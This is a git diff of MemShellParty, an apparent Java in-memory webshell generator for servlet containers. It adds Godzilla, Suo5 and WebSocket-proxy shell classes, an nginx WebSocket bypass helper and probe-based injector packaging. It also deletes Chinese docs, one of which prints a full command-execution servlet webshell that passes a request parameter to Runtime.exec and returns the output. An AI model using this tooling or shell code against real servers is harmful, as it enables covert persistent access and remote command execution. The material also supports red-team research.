"/api/memshell/generate", request, MemShellGenerateResponse.class);
|
||||||
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
|
assertNotNull(response.getBody());
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -7,5 +7,5 @@ repositories {
|
|||||||
}
|
}
|
||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
implementation("com.vanniktech:gradle-maven-publish-plugin:0.34.0")
|
implementation("com.vanniktech:gradle-maven-publish-plugin:0.35.0")
|
||||||
}
|
}
|
||||||
@@ -3,7 +3,7 @@ plugins {
|
|||||||
}
|
}
|
||||||
|
|
||||||
mavenPublishing {
|
mavenPublishing {
|
||||||
publishToMavenCentral(true)
|
publishToMavenCentral(automaticRelease = true, validateDeployment = true)
|
||||||
signAllPublications()
|
signAllPublications()
|
||||||
coordinates(
|
coordinates(
|
||||||
"io.github.reajason",
|
"io.github.reajason",
|
||||||
|
|||||||
@@ -9,10 +9,16 @@ idea {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
version = "2.0.0"
|
version = "2.6.0"
|
||||||
|
|
||||||
tasks.register("publishAllToMavenCentral") {
|
tasks.register("publishAllToMavenCentral") {
|
||||||
dependsOn(":memshell-party-common:publishToMavenCentral")
|
dependsOn(":memshell-party-common:publishToMavenCentral")
|
||||||
dependsOn(":packer:publishToMavenCentral")
|
dependsOn(":packer:publishToMavenCentral")
|
||||||
dependsOn(":generator:publishToMavenCentral")
|
dependsOn(":generator:publishToMavenCentral")
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.register("publishAllToMavenLocal") {
|
||||||
|
dependsOn(":memshell-party-common:publishToMavenLocal")
|
||||||
|
dependsOn(":packer:publishToMavenLocal")
|
||||||
|
dependsOn(":generator:publishToMavenLocal")
|
||||||
}
|
}
|
||||||
@@ -36,9 +36,9 @@ What you can learn or try from this project:
|
|||||||
4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents.
|
4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents.
|
||||||
5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project).
|
5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project).
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
## Key Features
|
## Key Features
|
||||||
|
|
||||||
|
|||||||
@@ -1,130 +0,0 @@
|
|||||||
# Java 服务简介
|
|
||||||
|
|
||||||
以下服务仅我个人遇到的一些场景,与实际攻防场景可能仍有差距,但是在 MemShellParty
|
|
||||||
中可用于参考进行内存马生成。个别其他服务还请自行辨别其服务类型。如果有其他环境补充,欢迎 PR 交流学习~
|
|
||||||
|
|
||||||
## Tomcat
|
|
||||||
|
|
||||||
> https://tomcat.apache.org/
|
|
||||||
|
|
||||||
Tomcat 使用的是自己 Catalina 模块提供的 Servlets 实现,限制较少,在 MemShellParty 中,服务类型选 Tomcat 即可生成 Tomcat
|
|
||||||
内存马。
|
|
||||||
|
|
||||||
一般而言,SpringWebMVC 项目大多使用 Tomcat 提供 Servlets 容器功能,比如 Nacos,这种情况下可以选择 Tomcat 内存马注入。
|
|
||||||
|
|
||||||
其他服务中,致远 OA、Confluence、帆软使用的是 Tomcat。
|
|
||||||
|
|
||||||
## Jetty
|
|
||||||
|
|
||||||
> https://jetty.org/
|
|
||||||
|
|
||||||
Jetty6 版本使用的包名为 `org.mortbay.jetty`,而 7 以上使用的是 `org.eclipse.jetty`,在测试最新的 Jenkins 时,发现 Jetty11+
|
|
||||||
版本支持 ee8 ~ ee10 的环境,包名对应的是 `org.eclipse.jetty.ee8`,这些在 MemShellParty 中均已支持,因此服务类型选 Jetty
|
|
||||||
即可生成 Jetty 内存马。
|
|
||||||
|
|
||||||
在 SpringWebMVC 项目中也是有可能使用的。
|
|
||||||
|
|
||||||
## JBoss
|
|
||||||
|
|
||||||
> JBossAS: https://jbossas.jboss.org/downloads
|
|
||||||
|
|
||||||
> JBossEAP: https://developers.redhat.com/products/eap/download
|
|
||||||
|
|
||||||
JBoss 分为 JBossAS 和 JBossEAP,JBossAS 全版本和 JBossEAP6 使用的 Catalina 模块提供的 Servlets 实现,JBossEAP7 及其以上使用的
|
|
||||||
[Undertow](https://undertow.io/) 提供的 Servlets 实现。
|
|
||||||
|
|
||||||
因此 JBossAS 4~7 以及 JBossEAP6 服务类型选择 JBoss 进行内存马的生成,而 JBossEAP7 服务类型需要选择
|
|
||||||
Undertow 进行内存马的生成。
|
|
||||||
|
|
||||||
## Wildfly
|
|
||||||
|
|
||||||
> https://www.wildfly.org/
|
|
||||||
|
|
||||||
Wildfly 使用的 [Undertow](https://undertow.io/) 提供的 Servlets 实现,因此服务类型选择 Undertow 生成内存马
|
|
||||||
|
|
||||||
## GlassFish
|
|
||||||
|
|
||||||
> https://glassfish.org/
|
|
||||||
|
|
||||||
GlassFish 使用的是 Catalina 提供的 Servlets 实现,但是使用了 OSGI 类加载模式,因此类限制较为严重,在 MemShellParty 中,服务类型选择
|
|
||||||
GlassFish 进行内存马的生成。
|
|
||||||
|
|
||||||
## Payara
|
|
||||||
|
|
||||||
> https://www.payara.fish/downloads/
|
|
||||||
|
|
||||||
基于 GlassFish 开发,服务类型选择 GlassFish 进行内存马的生成。
|
|
||||||
|
|
||||||
## Resin
|
|
||||||
|
|
||||||
> https://caucho.com/products/resin/download
|
|
||||||
|
|
||||||
Resin 使用的包名为 `com.caucho.`,服务类型选择 Resin 进行内存马的生成。
|
|
||||||
|
|
||||||
泛微 OA 使用的就是 Resin 提供的服务。
|
|
||||||
|
|
||||||
## WebLogic
|
|
||||||
|
|
||||||
> https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html
|
|
||||||
|
|
||||||
WebLogic 使用的包名为 `weblogic.`,服务类型选择 WebLogic 进行内存马的生成。
|
|
||||||
|
|
||||||
## WebSphere
|
|
||||||
|
|
||||||
> https://www.ibm.com/products/websphere-application-server
|
|
||||||
|
|
||||||
WebSphere 是 IBM 研发的商用 Servlets 容器,开源版本为 Websphere liberty,
|
|
||||||
包名为 `com.ibm.`,服务类型选择 WebSphere 进行内存马的生成。
|
|
||||||
|
|
||||||
## BES
|
|
||||||
|
|
||||||
> https://www.bessystem.com/
|
|
||||||
|
|
||||||
BES 宝兰德,其基于 Tomcat 进行二开,在 BES 9.5.1 版本中没有进行包名修改,而在 BES 9.5.2
|
|
||||||
版本之后包名修改为了 `com.bes.enterprise.`。因此 BES 9.5.1 版本,服务类型选择 Tomcat 进行内存马的生成,BES 9.5.2+ 服务类型选择
|
|
||||||
BES 进行内存马的生成。
|
|
||||||
|
|
||||||
## TongWeb
|
|
||||||
|
|
||||||
> https://www.tongtech.com/sy.html
|
|
||||||
|
|
||||||
TongWeb 东方通,其基于 Tomcat 进行二开,并且在最初的 6 版本就进行了包名修改,每个版本都进行了修改。
|
|
||||||
|
|
||||||
- TongWeb6: `com.tongweb.web.thor.`
|
|
||||||
- TongWeb7: `com.tongweb.catalina.`
|
|
||||||
- TongWeb8: `com.tongweb.server.`
|
|
||||||
|
|
||||||
这三个版本在 MemShellParty 中均有适配,服务类型选择 TongWeb 进行内存马的生成。
|
|
||||||
|
|
||||||
## Apusic
|
|
||||||
|
|
||||||
> https://www.apusic.com/
|
|
||||||
|
|
||||||
金蝶中间件,Apusic9 疑似魔改自 GlassFish,不过改得面目全非了,自 Apusic10 开始使用原版 GlassFish 进行二开。因此 Apusic9
|
|
||||||
版本服务类型选择
|
|
||||||
Apusic 进行内存马生成,Apusic10 版本选择 GlassFish 进行内存马生成。
|
|
||||||
|
|
||||||
## Primeton
|
|
||||||
|
|
||||||
> https://www.primeton.com/products/pas/
|
|
||||||
|
|
||||||
普元中间件,Primeton6.5 版本基于 GlassFish
|
|
||||||
二开,高版本疑似做了包名修改,但没有环境,因此暂未适配([#60](https://github.com/ReaJason/MemShellParty/issues/60))因此当前仅支持
|
|
||||||
Primeton6.5 版本,服务类型选择 GlassFish 进行内存马生成。
|
|
||||||
|
|
||||||
## InforSuite
|
|
||||||
|
|
||||||
中创中间件,InforSuite 基于 GlassFish 进行二开,不过因为 InforSuite10 版本针对 filterConfigs 字段做了手脚改成了
|
|
||||||
iasFilterConfigs 因此 Filter 注入单独进行了适配。服务类型选择 InforSuite 进行内存马注入。
|
|
||||||
|
|
||||||
## SpringWebMVC
|
|
||||||
|
|
||||||
Spring 框架,默认的 MVC 架构,官方 Servlets 容器实现可选 Tomcat、Jetty 与 Undertow,也可打包成 war 包部署于任意 Servlets
|
|
||||||
容器上。内存马注入场景下不推荐框架内存马,而是具体的 Servlets 容器内存马,因为可绕过框架的限制(鉴权或其他)。服务类型选择
|
|
||||||
SpringWebMVC 进行内存马生成。
|
|
||||||
|
|
||||||
## SpringWebFlux
|
|
||||||
|
|
||||||
Spring Boot 项目中基于 reactor 异步 IO 模型的服务组件,底层使用的 Netty,一般常见于各种 SpringCloud 项目,例如网关。服务类型选择
|
|
||||||
SpringWebFlux 进行内存马生成。
|
|
||||||
|
|
||||||
|
Before Width: | Height: | Size: 174 KiB |
|
Before Width: | Height: | Size: 282 KiB |
|
Before Width: | Height: | Size: 92 KiB |
|
Before Width: | Height: | Size: 130 KiB |
|
Before Width: | Height: | Size: 326 KiB |
@@ -1,98 +0,0 @@
|
|||||||
# Java Servlet
|
|
||||||
|
|
||||||
Java SE 中我们可以创建 socket 服务端为用户提供服务,但需要用户使用 socket 客户端,当然也可以基于 socket 实现 HTTP 协议,WebFlux 就是这样子的存在。而在 Java EE 中,Java 制定了 Servlet 规范,来规范在 Java 中提供 HTTP 服务的编写方式,其中有两个重要的概念,Servlet 与 Servlet Container。Servlet 是基于 Java 的 Web 组件,由容器进行管理,提供动态内容。Servlet 容器用于提供基于请求/响应发送模式的服务,必须支持 HTTP,并且管理 Servlet 的生命周期,使 Servlet 在一个受限的安全环境中执行。
|
|
||||||
|
|
||||||
Servlet 规范旨在让开发者基于规范开发的应用,可以部署在任意满足规范的 Web 容器上。每个 Servlet 规范版本都引入了一些新的东西,Servlet 4.0 前的版本变更可查看 [java-servlet-version-history](https://www.codejava.net/java-ee/servlet/java-servlet-version-history)。
|
|
||||||
|
|
||||||
目前常见的 Servlet 规范就是 [Servlet 3.1](https://github.com/waylau/servlet-3.1-specification/blob/master/docs), Tomcat 8.x 版本就是 Servlet 3.1 版本,从 Servlet 5.0 开始,Java EE 更名为 Jakarta EE,包路径从 javax 改为 jakarta。目前最新的 Servlet 规范是 [Servlet 6.1](https://jakarta.ee/zh/specifications/servlet/6.1/)。另外可以 [在此](https://tomcat.apache.org/whichversion.html) 查看 Tomcat 容器支持的 Servlet 规范版本。
|
|
||||||
|
|
||||||
## ServletContext
|
|
||||||
|
|
||||||
> [Servlet 3.1 规范 - 4.1 ServletContext 接口介绍](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Servlet%20Context/4.1%20Introduction%20to%20the%20ServletContext%20Interface.md)
|
|
||||||
|
|
||||||
ServletContext 定义了 Servlet 运行的 Web 应用视图,一个 Web 应用对应一个 ServletContext。
|
|
||||||
|
|
||||||
ServletContext 必须支持编程式添加 Servlet、Filter 和 Listener,对框架开发者有用处。但是规定了这些方法只能在 ServletContextListener.contexInitialized 或 ServletContainerInitializer.onStartup 应用初始化的时候调用。
|
|
||||||
|
|
||||||
```java
|
|
||||||
addServlet(String servletName, String className);
|
|
||||||
addServlet(String servletName, Servlet servlet);
|
|
||||||
addServlet(String servletName, Class <? extends Servlet> servletClass);
|
|
||||||
addFilter(String filterName, String className);
|
|
||||||
addFilter(String filterName, Filter filter);
|
|
||||||
addFilter(String filterName, Class <? extends Filter> filterClass);
|
|
||||||
void addListener(String className);
|
|
||||||
void addListener(T t);
|
|
||||||
void addListener(Class <? extends EventListener> listenerClass);
|
|
||||||
```
|
|
||||||
|
|
||||||
这就是在注入内存马时我们需要先拿 Context 的原因(已经写在了 Servlet 规范里面啦),所以针对实现了 Servlet 规范的 Web 容器都是一个套路,并且该反射调用哪些方法也写在里面了。不过在实现的时候却写了那么多代码的原因就是,其规定了这些方法只能在应用初始化的时候调用,我们注入内存马的时候已经是应用运行时了,那些代码实际上就是将方法内的具体实现重新用反射实现一遍。
|
|
||||||
|
|
||||||
## HttpServlet
|
|
||||||
|
|
||||||
99.99% 的时候,我们实现 HttpServlet 抽象类给予我们的能力就可以了,以下每个方法都对应了 HTTP Method 方法,当我们想要实现处理 Get 请求实现 doGet,处理 Post 请求就实现 doPost。
|
|
||||||
|
|
||||||
```java
|
|
||||||
protected void doGet(HttpServletRequest req, HttpServletResponse resp);
|
|
||||||
protected void doPost(HttpServletRequest req, HttpServletResponse resp);
|
|
||||||
protected void doPut(HttpServletRequest req, HttpServletResponse resp);
|
|
||||||
protected void doDelete(HttpServletRequest req, HttpServletResponse resp);
|
|
||||||
protected void doHead(HttpServletRequest req, HttpServletResponse resp);
|
|
||||||
protected void doOptions(HttpServletRequest req, HttpServletResponse resp);
|
|
||||||
protected void doTrace(HttpServletRequest req, HttpServletResponse resp);
|
|
||||||
```
|
|
||||||
|
|
||||||
Servlet 规范中规定了,对于非分布式应用来说,Servlet 容器必须确保对于每个 Servlet 定义只存在一个实例,但是 Web 服务是多线程的,所以 Servlet 是线程不安全的,在 Servlet 中的成员变量都是线程不安全的。
|
|
||||||
|
|
||||||
针对 Servlet 的路径映射提供了注解的方式和 web.xml 方法,以下两种方式都能定义访问 `/foo` 即调用 CalculatorServlet 中对应的实现方法。
|
|
||||||
|
|
||||||
```java
|
|
||||||
@WebServlet(”/foo”)
|
|
||||||
public class CalculatorServlet extends HttpServlet{
|
|
||||||
//...
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
```xml
|
|
||||||
<servlet>
|
|
||||||
<servlet-name>foo</servlet-name>
|
|
||||||
<servlet-class>org.example.CalculatorServlet</servlet-class>
|
|
||||||
</servlet>
|
|
||||||
<servlet-mapping>
|
|
||||||
<servlet-name>foo</servlet-name>
|
|
||||||
<url-pattern>/foo</url-pattern>
|
|
||||||
</servlet-mapping>
|
|
||||||
```
|
|
||||||
|
|
||||||
## ServletShell
|
|
||||||
|
|
||||||
shell 的目的,就是为了定义一个入口,我们能与 Web 服务器进行交互。以下定义了一个命令回显的 ServletShell。
|
|
||||||
|
|
||||||
1. doGet 调用转发给 doPost,这样我们即支持 GET 也支持 POST,防止某些情况下有请求方法的限制。
|
|
||||||
2. 交互的入口是 `request.getParameter` 支持两种方式传参。GET/POST 请求发送 `/?paramName=whoami`,也可以发送 POST 请求时使用 `application/x-www-form-urlencoded` 发送 body 参数。`multipart/form-data` 是不支持从 `request.getParameter` 获取参数的。
|
|
||||||
|
|
||||||
```java
|
|
||||||
public class CommandServlet extends HttpServlet {
|
|
||||||
public static String paramName;
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
|
||||||
doPost(req, resp);
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
|
|
||||||
String cmd = request.getParameter(paramName);
|
|
||||||
if (cmd != null) {
|
|
||||||
Process exec = Runtime.getRuntime().exec(cmd);
|
|
||||||
InputStream inputStream = exec.getInputStream();
|
|
||||||
ServletOutputStream outputStream = response.getOutputStream();
|
|
||||||
byte[] buf = new byte[8192];
|
|
||||||
int length;
|
|
||||||
while ((length = inputStream.read(buf)) != -1) {
|
|
||||||
outputStream.write(buf, 0, length);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
```
|
|
||||||
@@ -18,12 +18,12 @@
|
|||||||
<dependency>
|
<dependency>
|
||||||
<groupId>io.github.reajason</groupId>
|
<groupId>io.github.reajason</groupId>
|
||||||
<artifactId>generator</artifactId>
|
<artifactId>generator</artifactId>
|
||||||
<version>2.0.0-SNAPSHOT</version>
|
<version>2.0.0</version>
|
||||||
</dependency>
|
</dependency>
|
||||||
<dependency>
|
<dependency>
|
||||||
<groupId>io.github.reajason</groupId>
|
<groupId>io.github.reajason</groupId>
|
||||||
<artifactId>packer</artifactId>
|
<artifactId>packer</artifactId>
|
||||||
<version>2.0.0-SNAPSHOT</version>
|
<version>2.0.0</version>
|
||||||
</dependency>
|
</dependency>
|
||||||
</dependencies>
|
</dependencies>
|
||||||
|
|
||||||
|
|||||||
@@ -1,6 +1,5 @@
|
|||||||
package com.reajason.javaweb;
|
package com.reajason.javaweb;
|
||||||
|
|
||||||
import com.reajason.javaweb.Server;
|
|
||||||
import com.reajason.javaweb.memshell.MemShellGenerator;
|
import com.reajason.javaweb.memshell.MemShellGenerator;
|
||||||
import com.reajason.javaweb.memshell.MemShellResult;
|
import com.reajason.javaweb.memshell.MemShellResult;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
@@ -10,6 +9,8 @@ import com.reajason.javaweb.memshell.config.InjectorConfig;
|
|||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.Server.Tomcat;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/4/6
|
* @since 2025/4/6
|
||||||
@@ -17,7 +18,7 @@ import com.reajason.javaweb.packer.Packers;
|
|||||||
public class Godzilla {
|
public class Godzilla {
|
||||||
public static void main(String[] args) {
|
public static void main(String[] args) {
|
||||||
ShellConfig shellConfig = ShellConfig.builder()
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
.server(Server.Tomcat)
|
.server(Tomcat)
|
||||||
.shellTool(ShellTool.Godzilla)
|
.shellTool(ShellTool.Godzilla)
|
||||||
.shellType(ShellType.FILTER)
|
.shellType(ShellType.FILTER)
|
||||||
.shrink(true) // 缩小字节码
|
.shrink(true) // 缩小字节码
|
||||||
|
|||||||
@@ -9,11 +9,12 @@ import com.reajason.javaweb.memshell.config.InjectorConfig;
|
|||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import com.reajason.javaweb.packer.jar.JarPacker;
|
import com.reajason.javaweb.packer.jar.JarPacker;
|
||||||
import com.sun.security.ntlm.Server;
|
|
||||||
|
|
||||||
import java.nio.file.Files;
|
import java.nio.file.Files;
|
||||||
import java.nio.file.Paths;
|
import java.nio.file.Paths;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.Server.Tomcat;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/4/6
|
* @since 2025/4/6
|
||||||
@@ -22,7 +23,7 @@ public class GodzillaAgent {
|
|||||||
|
|
||||||
public static void main(String[] args) throws Exception {
|
public static void main(String[] args) throws Exception {
|
||||||
ShellConfig shellConfig = ShellConfig.builder()
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
.server(Server.Tomcat)
|
.server(Tomcat)
|
||||||
.shellTool(ShellTool.Godzilla)
|
.shellTool(ShellTool.Godzilla)
|
||||||
.shellType(ShellType.AGENT_FILTER_CHAIN)
|
.shellType(ShellType.AGENT_FILTER_CHAIN)
|
||||||
.shrink(true) // 缩小字节码
|
.shrink(true) // 缩小字节码
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
plugins {
|
plugins {
|
||||||
id("java")
|
id("java-library")
|
||||||
alias(libs.plugins.lombok)
|
alias(libs.plugins.lombok)
|
||||||
id("maven-publish-convention")
|
id("maven-publish-convention")
|
||||||
}
|
}
|
||||||
@@ -29,20 +29,20 @@ tasks.test {
|
|||||||
dependencies {
|
dependencies {
|
||||||
implementation(project(":memshell-party-common"))
|
implementation(project(":memshell-party-common"))
|
||||||
implementation(project(":packer"))
|
implementation(project(":packer"))
|
||||||
implementation(libs.byte.buddy)
|
api(libs.byte.buddy)
|
||||||
implementation(libs.asm.commons)
|
implementation(libs.asm.commons)
|
||||||
implementation(libs.javax.websocket.api)
|
implementation(libs.javax.websocket.api)
|
||||||
|
implementation(libs.jakarta.websocket.client.api)
|
||||||
implementation(libs.javax.servlet.api)
|
implementation(libs.javax.servlet.api)
|
||||||
|
implementation(libs.jakarta.servlet.api)
|
||||||
implementation(libs.spring.webmvc)
|
implementation(libs.spring.webmvc)
|
||||||
implementation(libs.spring.webflux)
|
implementation(libs.spring.webflux)
|
||||||
implementation(libs.reactor.netty.core)
|
implementation(libs.reactor.netty.core)
|
||||||
|
implementation(libs.jackson.annotations)
|
||||||
implementation(libs.bundles.jna)
|
implementation(libs.bundles.jna)
|
||||||
implementation(libs.bcel)
|
|
||||||
implementation(libs.okhttp3)
|
|
||||||
implementation(libs.logback.classic)
|
|
||||||
implementation(libs.jackson.databind)
|
|
||||||
testImplementation(libs.junit.jupiter)
|
testImplementation(libs.junit.jupiter)
|
||||||
|
testImplementation(libs.hamcrest)
|
||||||
testRuntimeOnly(libs.junit.platform.launcher)
|
testRuntimeOnly(libs.junit.platform.launcher)
|
||||||
testImplementation(libs.bundles.mockito)
|
testImplementation(libs.bundles.mockito)
|
||||||
}
|
}
|
||||||
@@ -20,4 +20,5 @@ public class Server {
|
|||||||
public static final String SpringWebMvc = "SpringWebMvc";
|
public static final String SpringWebMvc = "SpringWebMvc";
|
||||||
public static final String SpringWebFlux = "SpringWebFlux";
|
public static final String SpringWebFlux = "SpringWebFlux";
|
||||||
public static final String XXLJOB = "XXLJOB";
|
public static final String XXLJOB = "XXLJOB";
|
||||||
|
public static final String Struct2 = "Struct2";
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -5,8 +5,15 @@ import com.reajason.javaweb.memshell.config.InjectorConfig;
|
|||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
|
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
|
||||||
|
import com.reajason.javaweb.memshell.generator.WebSocketByPassHelperGenerator;
|
||||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||||
|
import com.reajason.javaweb.probe.ProbeContent;
|
||||||
|
import com.reajason.javaweb.probe.ProbeMethod;
|
||||||
|
import com.reajason.javaweb.probe.config.ProbeConfig;
|
||||||
|
import com.reajason.javaweb.probe.config.ResponseBodyConfig;
|
||||||
|
import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
|
||||||
import com.reajason.javaweb.utils.CommonUtil;
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
|
import org.apache.commons.codec.binary.Base64;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
|
|
||||||
@@ -24,15 +31,6 @@ public class MemShellGenerator {
|
|||||||
if (server == null) {
|
if (server == null) {
|
||||||
throw new GenerationException("Unsupported server: " + serverName);
|
throw new GenerationException("Unsupported server: " + serverName);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
|
|
||||||
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(serverName, shellConfig.getShellType()));
|
|
||||||
}
|
|
||||||
|
|
||||||
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
|
|
||||||
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
|
|
||||||
}
|
|
||||||
|
|
||||||
Class<?> injectorClass = null;
|
Class<?> injectorClass = null;
|
||||||
|
|
||||||
if (ShellTool.Custom.equals(shellConfig.getShellTool())) {
|
if (ShellTool.Custom.equals(shellConfig.getShellTool())) {
|
||||||
@@ -47,14 +45,51 @@ public class MemShellGenerator {
|
|||||||
shellToolConfig.setShellClass(shellClass);
|
shellToolConfig.setShellClass(shellClass);
|
||||||
}
|
}
|
||||||
|
|
||||||
byte[] shellBytes = shellConfig.getShellTool().generateBytes(shellConfig, shellToolConfig);
|
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
|
||||||
|
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(serverName, shellConfig.getShellType()));
|
||||||
|
}
|
||||||
|
|
||||||
|
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
|
||||||
|
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
|
||||||
|
}
|
||||||
|
|
||||||
|
if (shellConfig.isLambdaSuffix()) {
|
||||||
|
shellToolConfig.setShellClassName(CommonUtil.appendLambdaSuffix(shellToolConfig.getShellClassName()));
|
||||||
|
injectorConfig.setInjectorClassName(CommonUtil.appendLambdaSuffix(injectorConfig.getInjectorClassName()));
|
||||||
|
}
|
||||||
|
|
||||||
|
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
|
||||||
|
|
||||||
injectorConfig.setInjectorClass(injectorClass);
|
injectorConfig.setInjectorClass(injectorClass);
|
||||||
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
|
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
|
||||||
injectorConfig.setShellClassBytes(shellBytes);
|
injectorConfig.setShellClassBytes(shellBytes);
|
||||||
|
|
||||||
|
if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
|
||||||
|
|| ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
|
||||||
|
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(shellConfig, shellToolConfig));
|
||||||
|
}
|
||||||
|
|
||||||
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
|
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
|
||||||
byte[] injectorBytes = injectorGenerator.generate();
|
byte[] injectorBytes = injectorGenerator.generate();
|
||||||
|
if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
||||||
|
ProbeConfig probeConfig = ProbeConfig.builder()
|
||||||
|
.shellClassName(injectorConfig.getInjectorClassName() + "1")
|
||||||
|
.probeMethod(ProbeMethod.ResponseBody)
|
||||||
|
.probeContent(ProbeContent.Bytecode)
|
||||||
|
.targetJreVersion(shellConfig.getTargetJreVersion())
|
||||||
|
.byPassJavaModule(shellConfig.isByPassJavaModule())
|
||||||
|
.shrink(shellConfig.isShrink())
|
||||||
|
.debug(shellConfig.isDebug())
|
||||||
|
.staticInitialize(injectorConfig.isStaticInitialize())
|
||||||
|
.build();
|
||||||
|
ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
|
||||||
|
.server(serverName)
|
||||||
|
.base64Bytes(Base64.encodeBase64String(CommonUtil.gzipCompress(injectorBytes)))
|
||||||
|
.build();
|
||||||
|
injectorBytes = new ResponseBodyGenerator(probeConfig, responseBodyConfig).getBytes();
|
||||||
|
injectorConfig.setInjectorClassName(probeConfig.getShellClassName());
|
||||||
|
}
|
||||||
|
|
||||||
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
|
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
|
||||||
|
|
||||||
return MemShellResult.builder()
|
return MemShellResult.builder()
|
||||||
|
|||||||
@@ -8,6 +8,8 @@ import com.reajason.javaweb.memshell.shelltool.command.*;
|
|||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
|
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.neoreg.*;
|
import com.reajason.javaweb.memshell.shelltool.neoreg.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.*;
|
import com.reajason.javaweb.memshell.shelltool.suo5.*;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.suo5v2.*;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.wsproxy.ProxyWebSocket;
|
||||||
|
|
||||||
import java.util.Collections;
|
import java.util.Collections;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
@@ -44,6 +46,7 @@ public class ServerFactory {
|
|||||||
register(Server.SpringWebMvc, SpringWebMvc::new);
|
register(Server.SpringWebMvc, SpringWebMvc::new);
|
||||||
register(Server.SpringWebFlux, SpringWebFlux::new);
|
register(Server.SpringWebFlux, SpringWebFlux::new);
|
||||||
register(Server.XXLJOB, XxlJob::new);
|
register(Server.XXLJOB, XxlJob::new);
|
||||||
|
register(Server.Struct2, Struct2::new);
|
||||||
|
|
||||||
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
||||||
.addShellClass(SERVLET, GodzillaServlet.class)
|
.addShellClass(SERVLET, GodzillaServlet.class)
|
||||||
@@ -58,6 +61,8 @@ public class ServerFactory {
|
|||||||
.addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class)
|
.addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class)
|
||||||
.addShellClass(WEBSOCKET, GodzillaWebSocket.class)
|
.addShellClass(WEBSOCKET, GodzillaWebSocket.class)
|
||||||
